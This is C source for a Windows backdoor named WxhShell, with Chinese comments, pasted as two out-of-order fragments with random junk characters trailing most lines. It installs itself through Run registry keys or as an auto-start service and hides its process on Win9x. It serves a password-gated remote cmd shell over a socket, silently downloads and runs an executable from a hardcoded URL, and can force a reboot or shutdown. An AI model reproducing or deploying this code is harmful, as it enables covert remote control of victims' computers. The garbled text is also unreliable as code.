    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YDyOhv  
    if(Boot(SHUTDOWN)) .d^8w97  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &sh %]o8  
    else { 0SwWLq  
    closesocket(wsh); FcdbL,}=<  
    ExitThread(0); yDWzsA/X  
    } zK(9k0+s  
    break; (ST />")L  
    } M-,vX15S  
  // 获取shell Z<;<!+,  
  case 's': { =S4_^UY;  
    CmdShell(wsh); BOrfKtG\  
    closesocket(wsh); ~zi6wu(3  
    ExitThread(0); @ >%I\  
    break; &=nwb4  
  } Uxn_nh  
  // 退出 m!er "0  
  case 'x': { OvX z+C,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z+' 7c|a  
    CloseIt(wsh); aU<0<Dx  
    break; ow:c$Zq  
    } y;keOI!  
  // 离开 $T8Ni!#/C  
  case 'q': { <oS2a/Nd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #b4`Wcrj  
    closesocket(wsh); .wtb7U;7  
    WSACleanup(); K8XXO"  
    exit(1); ;}#tm9S;  
    break; 8O qG{jmG  
        } n AQB  
  } *JZU 0Xb  
  } 1>c`c]s3  
,oT?-PC$z  
  // 提示信息 LUna stA^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vx;f/CH3!  
} Bbz#$M!:  
  } .!\y<9  
1RY}mq  
  return; _FeLSk.  
} 1t+]r:{  
oil s;*q  
// shell模块句柄 R{NmWj['Mg  
int CmdShell(SOCKET sock) 'C]zB'H=  
{ _&D I_'5q+  
STARTUPINFO si; Nj1vB;4Nx  
ZeroMemory(&si,sizeof(si)); <8|vj 2d2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; br .jj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; { .B^  
PROCESS_INFORMATION ProcessInfo; bqJL@!T  
char cmdline[]="cmd"; /d%&s^M:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^DS9D:oE  
  return 0; h$)!eSu  
} +M$2:[xRT  
TW(rK&  
// 自身启动模式 W @Y$!V<  
int StartFromService(void) \S[:  
{ j/TsHJ=  
typedef struct -Mb nYs)  
{ hzg&OW=:  
  DWORD ExitStatus; "G)-:!H  
  DWORD PebBaseAddress; 5JK{dis]k  
  DWORD AffinityMask; b7E= u0  
  DWORD BasePriority; Bcg\p}  
  ULONG UniqueProcessId; '!]ry<  
  ULONG InheritedFromUniqueProcessId; x/ {  
}   PROCESS_BASIC_INFORMATION; \m1r(*Ar  
B'"C?d<7  
PROCNTQSIP NtQueryInformationProcess; T;w%-k\<r  
RWP`#(&/&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k?0yH$)'t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,)hUL/r6  
uhSRl~tn  
  HANDLE             hProcess; j2}C  
  PROCESS_BASIC_INFORMATION pbi; 5?kJ]:  
ajq[ID  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1"RO)&  
  if(NULL == hInst ) return 0;  &~:b &  
EjV,&7o)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iIA5ylf{E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !R-M:|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fLA!oeq{&}  
sn '#]yM  
  if (!NtQueryInformationProcess) return 0; +v2Fr}  
}_u1'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &, hhH_W  
  if(!hProcess) return 0; 5&D)W>{d  
q+.DZ @  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %*>=L$A  
!e*Q2H+  
  CloseHandle(hProcess); Pni  
t%Vc1H2}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $`(}ygmP  
if(hProcess==NULL) return 0; ;Xk-hhR  
b? jRA^  
HMODULE hMod; %Ui&SZ\  
char procName[255]; 'e_^s+l)a  
unsigned long cbNeeded; L,*2t JcC<  
tPIT+1.]z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xgn@1.}G  
~ J^Gzl  
  CloseHandle(hProcess); !FX0Nx=oi  
1q]V/V}  
if(strstr(procName,"services")) return 1; // 以服务启动 5, R\tJCK  
e7T"?s  
  return 0; // 注册表启动 AWsO? |YT  
} qX^#fk7]  
N%v}$58Z  
// 主模块 mjO4GpG3  
int StartWxhshell(LPSTR lpCmdLine) .xS3,O_[  
{ 0%+S@_|  
  SOCKET wsl; |&eZ[Sy(=l  
BOOL val=TRUE; *&9_+F8ly  
  int port=0; <e-9We."  
  struct sockaddr_in door; Qu,W3d  
 ;)s$Et%  
  if(wscfg.ws_autoins) Install(); wkOo8@J\  
6+u}'mSj8  
port=atoi(lpCmdLine); ~KHGh29  
,#hS#?t   
if(port<=0) port=wscfg.ws_port; ZgQ4~s  
}-?_c#G 3  
  WSADATA data; t}>6"^}U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *%5 .{J!  
3[B*l@}j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C&YJvMu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |Wd]:ijJ  
  door.sin_family = AF_INET; `9E:V=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r1b{G%;mJ  
  door.sin_port = htons(port); h[b5"Uqj  
@]P#]%^D2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3}e-qFlV8,  
closesocket(wsl); Y f:xM>.%  
return 1; };6[Byf  
} DXu#07\  
{R%v4#nk  
  if(listen(wsl,2) == INVALID_SOCKET) { Kmc*z (Q  
closesocket(wsl); dP63bV  
return 1; NBEcx>pma  
} 1wP#?p)c  
  Wxhshell(wsl); u>o<u a p  
  WSACleanup(); s\y+ xa:  
Z 6KM%R  
return 0; GjN/8>/  
@[h)M3DFd  
} ^ cpQ*Fz  
s kC*  
// 以NT服务方式启动 #Jp_y|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MkgeECMf  
{ (oTtnQ""+  
DWORD   status = 0; Q xZYy}2  
  DWORD   specificError = 0xfffffff; EvSo|}JA[  
]Q1?Ox:'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X`xmV!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C"}CD{<H]M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gw' uY$  
  serviceStatus.dwWin32ExitCode     = 0; DjY&)oce(  
  serviceStatus.dwServiceSpecificExitCode = 0; ,<R/jHZP9  
  serviceStatus.dwCheckPoint       = 0; 0NrUB  
  serviceStatus.dwWaitHint       = 0; C1&~Y.6m  
DuX7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {`?C5<r  
  if (hServiceStatusHandle==0) return; *'4+kj7>  
95LZG1]Rb  
status = GetLastError(); =?g26>dYo  
  if (status!=NO_ERROR) Z-X(. Q  
{ CeQL8yJ;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {R<0 'JU  
    serviceStatus.dwCheckPoint       = 0; ziZLw$ )  
    serviceStatus.dwWaitHint       = 0; *W,tq(%tQ  
    serviceStatus.dwWin32ExitCode     = status; J&Ig%&/  
    serviceStatus.dwServiceSpecificExitCode = specificError; g$ bbm}6S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x}v]JEIf[Q  
    return; ?# ~3%$>  
  } lZ]x #v  
tQ0iie1Ys  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?.Mw  
  serviceStatus.dwCheckPoint       = 0; dd1CuOd6(1  
  serviceStatus.dwWaitHint       = 0; KG9h rT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r+%:rFeX  
} Ua0fs|t1v  
'-C%?*ku  
// 处理NT服务事件,比如:启动、停止 vF yl,S5A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +e VWTRG  
{ _~~:@fy  
switch(fdwControl) wJ#fmQXKJ5  
{ WqQAt{W/<  
case SERVICE_CONTROL_STOP: 7^1yZ1(  
  serviceStatus.dwWin32ExitCode = 0; Kg lL@V7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YZ>L\  
  serviceStatus.dwCheckPoint   = 0; jZwv !-:  
  serviceStatus.dwWaitHint     = 0; ffyDi1Q  
  { }]O* yFR{j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OXu*w l(z  
  } 'YQ^K`lV  
  return; ;Z>u]uK4+  
case SERVICE_CONTROL_PAUSE: 1 EE4N\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {l/j?1Dxq  
  break; ab"6]%_  
case SERVICE_CONTROL_CONTINUE:  uP|Py.+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :yg:sU  
  break; |,!]]YO.V  
case SERVICE_CONTROL_INTERROGATE: tFlLKziU  
  break; 1,UeVw/  
}; v C,53g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V9aGo#  
} iA*^`NMaT  
99 W-sV  
// 标准应用程序主函数 pc9m,?n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )@lZ~01~d  
{ t!}QG"ma  
#?=?<"*j  
// 获取操作系统版本 +c4-7/kE  
OsIsNt=GetOsVer(); q8&2M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f3_-{<FZ  
2 I:x)  
  // 从命令行安装 %C8p!)Hu  
  if(strpbrk(lpCmdLine,"iI")) Install(); (4:&tm/;  
K>%}m,  
  // 下载执行文件 +5:Dy,F =  
if(wscfg.ws_downexe) { 4}0DEH.Vx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U|tUX)9O  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4#<r}j12z  
} hd+(M[C<9  
nE"##2X  
if(!OsIsNt) { ^d6}rtG  
// 如果时win9x,隐藏进程并且设置为注册表启动 %{M_\Ae#  
HideProc(); IQz"FH?  
StartWxhshell(lpCmdLine); rq#8}T>  
} u7PtGN0r%  
else 4I"%GN[tA  
  if(StartFromService()) Vo1,{"k  
  // 以服务方式启动 VycC uq&M  
  StartServiceCtrlDispatcher(DispatchTable); )w.+( v(  
else 4Js2/s  
  // 普通方式启动 RbOEXH*]  
  StartWxhshell(lpCmdLine); cV;<!f+  
B=<>OYH  
return 0; 9, A(|g  
} !4;A"B(  
9E`WZo^.  
LWH(b s9U  
8bf_W3  
=========================================== qDSZ:36  
_:N+mEF  
ub/Z'!  
pr~%%fCh  
kHWW\?O  
2EO WbN}M  
"  +\Hh|Uz5  
uGXN ciEp`  
#include <stdio.h> ]|H`?L  
#include <string.h> K)ZW1d;  
#include <windows.h> hk5[ N=  
#include <winsock2.h> pJg'$iR!/  
#include <winsvc.h> xi+bBqg<.K  
#include <urlmon.h> ;)n kY6-  
X667*L^  
#pragma comment (lib, "Ws2_32.lib") bQ%6z}r  
#pragma comment (lib, "urlmon.lib") ig-V^P  
T[?wbYfW  
#define MAX_USER   100 // 最大客户端连接数 Uz4!O  
#define BUF_SOCK   200 // sock buffer ~wejy3|@0  
#define KEY_BUFF   255 // 输入 buffer 3/?^d;=  
?"hrCEHV{9  
#define REBOOT     0   // 重启 qG lbO  
#define SHUTDOWN   1   // 关机 d+caGpaR  
kdgU1T@y.  
#define DEF_PORT   5000 // 监听端口 0f_+h %%=  
5{zmuv:  
#define REG_LEN     16   // 注册表键长度 \C{Dui) F  
#define SVC_LEN     80   // NT服务名长度 ,0hk)Vvr3  
_DDknQP  
// 从dll定义API xX !`0T7Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z_i (o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |\}&mBR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w"PnN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h+\+9^l6|  
~nP~6Q'wSH  
// wxhshell配置信息 Jn |sS(Q}  
struct WSCFG { l+ ,p=  
  int ws_port;         // 监听端口 )a7nr<)aU  
  char ws_passstr[REG_LEN]; // 口令 o [ Je  
  int ws_autoins;       // 安装标记, 1=yes 0=no Kl\g{>{Uz  
  char ws_regname[REG_LEN]; // 注册表键名 I ~U1vtgp  
  char ws_svcname[REG_LEN]; // 服务名 )7aUDsu>4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9V'ok.B.x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &gxWdG}qx]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hto RN^9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bHKTCPf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $yn7XonS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (yJY/|  
U}yq*$N  
}; e7_.Xr~[  
'9ki~jtf=  
// default Wxhshell configuration a<NZC  
struct WSCFG wscfg={DEF_PORT, CD! Aa  
    "xuhuanlingzhe", +!~"o oQZh  
    1, 7^oO N+=d  
    "Wxhshell", |#b]e|aP  
    "Wxhshell", 5V $H?MW>  
            "WxhShell Service", 7Mj:bm&9  
    "Wrsky Windows CmdShell Service", o){\qhLp  
    "Please Input Your Password: ", {py"Ob_  
  1, {`ghX%M(l  
  "http://www.wrsky.com/wxhshell.exe", YAdk3y~pL  
  "Wxhshell.exe" CyV2=o!F w  
    }; &FpoMW  
/Kd9UQU  
// 消息定义模块 i8h^~d2"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [yhK4A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mEZHrr J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ueb&<tS  
char *msg_ws_ext="\n\rExit."; `;}w!U  
char *msg_ws_end="\n\rQuit."; ^\f1zg9I  
char *msg_ws_boot="\n\rReboot..."; hNRN`\5Z  
char *msg_ws_poff="\n\rShutdown..."; mXPA1#qo  
char *msg_ws_down="\n\rSave to "; w paI}H#  
sU$<v( `"  
char *msg_ws_err="\n\rErr!"; #iiXJnG  
char *msg_ws_ok="\n\rOK!"; M*-]<!))7  
+:_;K_h  
char ExeFile[MAX_PATH]; KXiStwS  
int nUser = 0; '>^!a!<G  
HANDLE handles[MAX_USER]; !jTxMf  
int OsIsNt; h}U>K4BJ  
*UZd !a)  
SERVICE_STATUS       serviceStatus; !{+a2wi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1\X_B`xwD  
. #FJM2Xk  
// 函数声明 Y2TXWl,Jk  
int Install(void); m S4N%Q  
int Uninstall(void); /8? u2 q  
int DownloadFile(char *sURL, SOCKET wsh); h J H  
int Boot(int flag); LTTMxiq[*  
void HideProc(void); Djr/!j  
int GetOsVer(void); xFzaVjjP  
int Wxhshell(SOCKET wsl); VvUP;o&/  
void TalkWithClient(void *cs); i)!+`w*Y  
int CmdShell(SOCKET sock); =x@v{cP  
int StartFromService(void); m7|S'{+!  
int StartWxhshell(LPSTR lpCmdLine); +Ym#!"  
[$D%]]/,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IcA]B?+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]Om;bmwt  
DP.Y <V)B  
// 数据结构和表定义 ^ AJ_  
SERVICE_TABLE_ENTRY DispatchTable[] = ILIv43QKM(  
{ A D%9;KQ8  
{wscfg.ws_svcname, NTServiceMain}, v hGX&   
{NULL, NULL} UZ;FrQ(l{  
}; =lmelo#m&  
tPb<*{eG  
// 自我安装 %w;wQ_  
int Install(void) j%)@f0Ng  
{ yTR5*{?j  
  char svExeFile[MAX_PATH]; o&)v{q  
  HKEY key; '[vC C'  
  strcpy(svExeFile,ExeFile); ~[Z(6yX  
jSQM3+`b  
// 如果是win9x系统,修改注册表设为自启动 GQ0(lS  
if(!OsIsNt) { =bOMtQ]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v@,`(\Ca'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8K9RA<  
  RegCloseKey(key); AbL(F#{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }p>l,HD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s[;1?+EI  
  RegCloseKey(key); "9IR|  
  return 0; X2mZ~RB(p  
    } pD]2.O  
  } )S9}uOG#  
} `4,]Mr1b  
else { ?!u9=??  
G6bvV*TRi  
// 如果是NT以上系统,安装为系统服务 K?u:-QX^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ie}7#>S  
if (schSCManager!=0) Jow{7@FG  
{ Q">wl  
  SC_HANDLE schService = CreateService (@NW2  
  ( c1xX)cF  
  schSCManager, kvN<o-B  
  wscfg.ws_svcname, Xb@dQRVX  
  wscfg.ws_svcdisp, ?L"x>$  
  SERVICE_ALL_ACCESS, -Dwe,N"{2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3$3%W<&^  
  SERVICE_AUTO_START, XCT3:db  
  SERVICE_ERROR_NORMAL, %3yrX>Js  
  svExeFile, m A('MS2  
  NULL, blUS6"kV}  
  NULL, 8:U0M'}u>  
  NULL, epI~w  
  NULL, oQR?H  
  NULL t!59upbN}3  
  ); rAk;8)O$  
  if (schService!=0) ~i0>[S3 '  
  { O&Y22mu  
  CloseServiceHandle(schService); gZ us}U  
  CloseServiceHandle(schSCManager); ir5eR}H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l-2lb&n  
  strcat(svExeFile,wscfg.ws_svcname); #!>`$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { & j*Ylj}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {KSy I#  
  RegCloseKey(key); BkB9u&s^  
  return 0; X=? \A{Y  
    } I5E5,{  
  } :4)lmIu  
  CloseServiceHandle(schSCManager); OI:T#uk5  
} On}b|ev  
} |M EJ)LE7  
@h\i<sh!^  
return 1; |!J_3*6$>*  
} y!x-R !3  
]d*O>Pm  
// 自我卸载 E O"  
int Uninstall(void) GL^ j |1  
{ Mo]iVj8~  
  HKEY key; 88}04  
b/4gs62{k  
if(!OsIsNt) { N6v*X+4JH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y2PxC. -  
  RegDeleteValue(key,wscfg.ws_regname); m/WDJ$d  
  RegCloseKey(key); !lKDNQ8>["  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qv`:o `  
  RegDeleteValue(key,wscfg.ws_regname); &{8[I3#@  
  RegCloseKey(key); +!t *LSF  
  return 0; Ok phbAX  
  } h1#l12k^'  
} U+ uIuhz  
} OA7=kH@3c  
else { ~]BR(n  
)+.AgqxI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "WqM<kLa  
if (schSCManager!=0) qz 29f  
{ xzRC %  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1?r$Rx<R  
  if (schService!=0) |[!0ry*N%  
  { xRF_'|e  
  if(DeleteService(schService)!=0) { ?h8/\~Dw  
  CloseServiceHandle(schService); yCv"(fNQ  
  CloseServiceHandle(schSCManager); FWo`oJeN  
  return 0; &A^2hPe}  
  } 7>gW2 m  
  CloseServiceHandle(schService); WX+@<y}%  
  } t5QGXj  
  CloseServiceHandle(schSCManager); FYK}AR<=  
} ve4 QS P  
} %Ip=3($Ku[  
Q8DKU  
return 1; )EG-xo@X  
} (; Zl  
ltd'"J/r  
// 从指定url下载文件 l4OPzNc'  
int DownloadFile(char *sURL, SOCKET wsh) *}LQZFrnX  
{ _K~?{".  
  HRESULT hr; +*RpOtss  
char seps[]= "/"; bL5dCQxty  
char *token; S1!_ IK$m  
char *file; %;`3I$  
char myURL[MAX_PATH]; V{0V/Nv  
char myFILE[MAX_PATH]; -Q!?=JNtQ  
ezd@>(hJ  
strcpy(myURL,sURL); Kw>gg  
  token=strtok(myURL,seps); E} ]SGU"  
  while(token!=NULL) _xdttO^N  
  { ;~s@_}&  
    file=token; 73M;-qnU  
  token=strtok(NULL,seps); EKT"pL-EY  
  } Q1 vse  
6:\z8fYD  
GetCurrentDirectory(MAX_PATH,myFILE); [92bGR{  
strcat(myFILE, "\\"); FRTvo  
strcat(myFILE, file); !v3wl0  
  send(wsh,myFILE,strlen(myFILE),0); 4W+nS v  
send(wsh,"...",3,0); gwYTOs ^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A3zNUad;  
  if(hr==S_OK) /zV0kW>N  
return 0; *tT5Zt/&Sr  
else St1>J.k_  
return 1; ,I[A~  
8\Eq(o}7  
} 7M9s}b%?  
5?|PC.  
// 系统电源模块 .T*7nw  
int Boot(int flag) $w<~W1\:  
{ }Z\+Qc<<  
  HANDLE hToken; g/,O51f'  
  TOKEN_PRIVILEGES tkp; J15$P8J  
WTh|7&  
  if(OsIsNt) { ?/s=E+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q}5&B =2pM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PiIILX{DuH  
    tkp.PrivilegeCount = 1; 0M>%1 *  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lc0ZfC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dnTXx*I:  
if(flag==REBOOT) { GG_A'eX:I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?Qs>L~  
  return 0; YCQ+9  
} #D!3a%u0  
else { fI0L\^b%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gClDVO  
  return 0; i@d@~M7/  
} hO:X\:G  
  } e3>k"  
  else { YuDNm}r[  
if(flag==REBOOT) { ?)5M3 lV3k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iF]vIg#h  
  return 0; ]0:R^dHE  
} gM3gc;  
else { LvS3c9|Aj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =;xlmndT,  
  return 0; FJ&zU<E  
} ("BFI  
} x]U (EX`t$  
kL qFh<  
return 1; Ljxn}):[  
} cjO,#W0&f  
[G|2m_  
// win9x进程隐藏模块 P^LOrLmo8  
void HideProc(void) )O%lh 8fI  
{ 9uREbip  
u]c nbm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UoxF00H@!  
  if ( hKernel != NULL ) I@q>ES!1H  
  {  g^E n6n)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aa1XY&G"!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9Au+mIN  
    FreeLibrary(hKernel); i]LK,'  
  } \9k{"4jX\  
4%j&]PASa1  
return; |qNrj~n@  
} LGCL*Qbsg  
_?_Svx2  
// 获取操作系统版本 #(*WxVE  
int GetOsVer(void) ^NLKX5Q  
{ LDvF)Eg  
  OSVERSIONINFO winfo; ?\F,}e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AQ 7e  
  GetVersionEx(&winfo); ^! ZjK-$A<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cCV"(Oo[H|  
  return 1; {Q(6 .0R  
  else P[nWmY  
  return 0; .Na>BR\F  
} NV-9C$<n2!  
/9w}[y*E  
// 客户端句柄模块 |H_)u  
int Wxhshell(SOCKET wsl) 6eK^T=  
{ 8rp-Xi W  
  SOCKET wsh; (Fgt#H(B  
  struct sockaddr_in client; v,i:vT\~  
  DWORD myID; |f?C*t',  
#1bgV  
  while(nUser<MAX_USER) g&E_|}u4  
{ M9OFK\)  
  int nSize=sizeof(client); T*T.\b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0RSa{iS*A  
  if(wsh==INVALID_SOCKET) return 1; 4!}fCP ty  
>6DY3\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hy)RV=X  
if(handles[nUser]==0) xf]4!zE  
  closesocket(wsh); VD#^Xy4% r  
else !d0@^JbM"  
  nUser++; Xp?Z;$r$  
  } ToJru  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VD3[ko  
T&23Pf1  
  return 0; rzBWk  
} Csc2yI%3  
1aT$07G0  
// 关闭 socket d|NNIf  
void CloseIt(SOCKET wsh) "DN`@  
{ 3CHte*NL=  
closesocket(wsh); QF>[cdl?8  
nUser--; BVNh>^W5B  
ExitThread(0); Ul'G g  
} )w` Nkx  
Mk9 kGP%  
// 客户端请求句柄 x/S%NySG  
void TalkWithClient(void *cs) tQ}gBE63  
{ z*[Z:  
NR[mzJv  
  SOCKET wsh=(SOCKET)cs; n|*V 8VaL  
  char pwd[SVC_LEN]; DJW1kR  
  char cmd[KEY_BUFF]; I.<#t(io  
char chr[1]; ;hZ@C!S:  
int i,j; \~H"!vj  
:ZIcWIV-  
  while (nUser < MAX_USER) { QE}@|H9xs  
'} kq@  
if(wscfg.ws_passstr) { ;i#gk%- 2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^,5.vfES  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^9RBG#ud  
  //ZeroMemory(pwd,KEY_BUFF); F3'X  
      i=0; qpeK><o  
  while(i<SVC_LEN) { *3K"Kc2  
#?=cg]v_  
  // 设置超时 ^>p [b  
  fd_set FdRead; ]xG4T>S  
  struct timeval TimeOut; YBO53S]=  
  FD_ZERO(&FdRead); ]O\W<'+V  
  FD_SET(wsh,&FdRead); mN*P 2 *  
  TimeOut.tv_sec=8; Vwqfn4sx?i  
  TimeOut.tv_usec=0; R)C+wTG;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :jX~]1hpmA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >g2B5KY  
.-AB o]hf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 31C]TdJ  
  pwd=chr[0]; ES2qX]I  
  if(chr[0]==0xd || chr[0]==0xa) { !tdfTf$  
  pwd=0; *^uj(8U  
  break; `IoX'|C[h  
  } zef,*dQY   
  i++; & B4U)  
    } w3Ohm7N[  
_2Z3?/Y  
  // 如果是非法用户,关闭 socket +*DX(v"BH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >cNXB7]E>  
} rh&onp O  
{ybuHC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q': wSu u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <.B s`P  
8TPm[r]  
while(1) { KIFx &A  
9gg,Dy  
  ZeroMemory(cmd,KEY_BUFF); w0!,1 Ry  
]t3"0  
      // 自动支持客户端 telnet标准   g4 X,*H  
  j=0; #U}U>4'  
  while(j<KEY_BUFF) { d/>,U7eS[+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Q3~n^  
  cmd[j]=chr[0]; $hQg+nY.  
  if(chr[0]==0xa || chr[0]==0xd) { Snu;5:R  
  cmd[j]=0; sJ/e=1*  
  break; }j1Zk4}[x  
  } h12wk2@P/]  
  j++; U08?*{  
    } af(JoX*U  
e;5Lv9?C8  
  // 下载文件 rk|(BA  
  if(strstr(cmd,"http://")) { b2e  a0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =.hDf<U  
  if(DownloadFile(cmd,wsh)) u&XkbPZ%4c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |q2lTbJ  
  else {UBQ?7.jE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~N^vE;  
  } q'U5QyuC  
  else { mN 6`8 [  
i t@}dZ  
